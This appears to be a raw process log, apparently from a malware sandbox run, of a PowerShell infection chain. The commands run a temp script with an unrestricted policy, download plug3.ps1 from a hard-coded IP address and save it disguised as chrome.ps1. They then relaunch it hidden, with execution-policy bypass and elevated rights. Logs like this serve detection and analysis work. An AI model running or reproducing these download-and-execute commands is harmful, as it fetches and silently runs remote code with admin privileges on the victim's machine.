powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\uno.ps1
2552powershell.exe powershell -command "Invoke-WebRequest -Uri 'http://64.94.84.206/plug3.ps1' -OutFile 'C:\Users\Public\Documents\chrome.ps1'"
2780powershell.exe powershell -Command "Start-Process 'powershell.exe' -ArgumentList '-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File ""C:\Users\Public\Documents\chrome.ps1""' -Verb RunAs"
2872powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\chrome.ps1
2956